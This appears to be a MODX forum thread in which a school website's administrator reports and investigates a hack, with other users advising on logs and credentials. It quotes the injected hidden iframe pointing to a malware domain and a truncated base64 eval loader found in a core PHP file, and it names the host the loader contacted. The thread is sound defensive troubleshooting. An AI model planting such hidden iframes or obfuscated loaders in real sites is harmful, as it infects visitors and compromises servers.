We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 13094
    • 58 Posts
    hi folks,

    one of my pages just got hacked by a malware bastard delivering mal-/scarware notices to mostly innocent scholars and their parents... >:(

    I don’t know the attack vector, but it seemed, that it is not done by javascript, cause an iframe was shown in normal source code view (not rendered view, like firebug or so).

    <iframe src="http://busyinfo.co.cc/images/..." width="0" height="0" frameborder="0"></iframe>


    the domains are subject to frequent changes, some are located in russia, some are from tiny little islands in the middle of nowhere.

    all the files related to modx where form early august ’10 when I updated to 1.0.4.
    there are no external services other than google analytics (I hope that THEY don’t do and can’t do nasty tricks besides collecting user data).

    the fact why I’m asking for chunk replacement is, that I use a couple of different templates with one common div tag that was the first in the body with a chunk:

    <body id="page_[*id*]">
        <div id="wrapper">
          <div id="innerwrapper">
            <div id="header">
     
              <div id="logo"><a href="[~1~]" title="Home" ></a></div>
              <div id="headerernavi">{{headernavi}}</div>


    there is no need to use this div for an attack, e.g. for using the ID or something else, any other div will do.
    the chunk (in the DB) contains a couple of links:

    <a href="[~837~]">Volksbegehren</a> | <a href="[~212~]">Förderverein</a> | <a href="[~202~]">Downloads</a> | <a href="[~201~]">Sitemap</a> | <a href="http://external-URL/" class="restricted" style="padding-right:40px;"><img src="/assets/images/icons/iserv-logo.gif" border="0" style="position:absolute; top:-10px;" /></a> <a href="http://external-URL/" class="restricted" target="_blank">Iserv</a>


    does anybody has an idea where to look further? our local State Office of Criminal Investigation is very interested in to get to know how this hack was done. and me of course, too, ’cause I have a couple of sites running on evo 1.0.4.

    thanks in advanced,
    rolf
      • 22303 MODX Staff
      • 10,725 Posts
      Where is the hacked code? Have you found the source? Have you reviewed the logs to see what kind of activity was going on around the time of the attack? There are several security notices relating to Evolution; please make sure you’ve read them, especially regarding the older AjaxSearch files that are left behind when you upgrade.
        • 13094
        • 58 Posts
        I read all the evo-hack-stuff but I didn’t use any plugin mentioned there, respectivly nothing really gives a hint.

        and I did not figure out the hacked code, all I’ve got is the source-code snippet (the page is down actually cause google has banned it) and several dozens of modx files form early august.
          • 13094
          • 58 Posts
          I think I found the reason, but I can’t figure out how and by whom the file was "untouched":

          in /manager/includes/protect.inc.php
          I found a very long base64-encode line with a evil eval at the beginning:

          echo(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlz...."));


          that leds to some code that is doing alternativly curl or http get to china http://gcounter.cn/info.php
          maybe that’s still the top of the iceberg (it has to be implemented to that file...) I think this topic can be closed.

          oh, by the way: the original size of ptotect.inc.php is 1593 bytes, my chinese fortune cookie weights 6074 bytes.
            • 28042 ☆ A M B ☆
            • 24,524 Posts
            That means somebody had your FTP password (maybe your Windows machine has a keylogger or some other nasty?) or the entire server is compromised.
              Studying MODX in the desert - http://sottwell.com
              Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
              Join the Slack Community - http://modx.org
              • 13094
              • 58 Posts
              doah, I’m on a mac! grin
              okay, I know there are keyloggers, too...

              if someone has caught the password, the file timestamp would be changed, but, and that might be the reason ssh was activated with the ftp credentials shocked
              if the whole server is compromised, one of germanys biggest provider and hoster for normal webspace and services has a very huge problem, I think.
              but I give them a hint, maybe they’ve some logfile entries out of my reach.

              last but not least, I’ve to check if there is a hint in the code why the exploit comes into that special div...
              otherwise there might be some other vulnerabilities...
                • 9085
                • 630 Posts
                in /manager/includes/protect.inc.php

                Check last modify time of this file and then go to web server’s log and find what urls were accessed at this time.
                If you have access to ftp logs, check it to.
                  Правильно заданный вопрос повышает вероятность получения нужного ответа.
                  Что-то не работает? Загляните в лог ошибок!
                  Есть проблема? "Локализуйте" её!
                  Ответы на большинство вопросов по MODx | MODx RTFM | API Evo Revo | галопом по Европам Азиям smiley wikibooks(ru) Ditto(en) | Wayfinder e-book | Заметки и о MODx
                  • 13094
                  • 58 Posts
                  it’s not my server, its just a hosted service for the schools webseite. I asked the provider to deliver me the logs, hope that give’s a hint.

                  the file itself has the same timestamp than the others around after uploading them.
                    • 7239
                    • 14 Posts
                    I am pretty sure my site also got hacked in some way, when i enter my username and password from the manger login screen, I get an Ajax window that opens up with all spam like web addresses in some choppy HTML code.

                    Does anyone know what I could do to fix this?
                      • 28042 ☆ A M B ☆
                      • 24,524 Posts
                      Quite a number of large hosting providers have been hacked recently, with thousands of sites defaced or in some cases completely deleted.

                      http://tech.slashdot.org/story/11/10/01/1724219/web-hosts-one-stop-shops-for-mass-hacking
                        Studying MODX in the desert - http://sottwell.com
                        Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                        Join the Slack Community - http://modx.org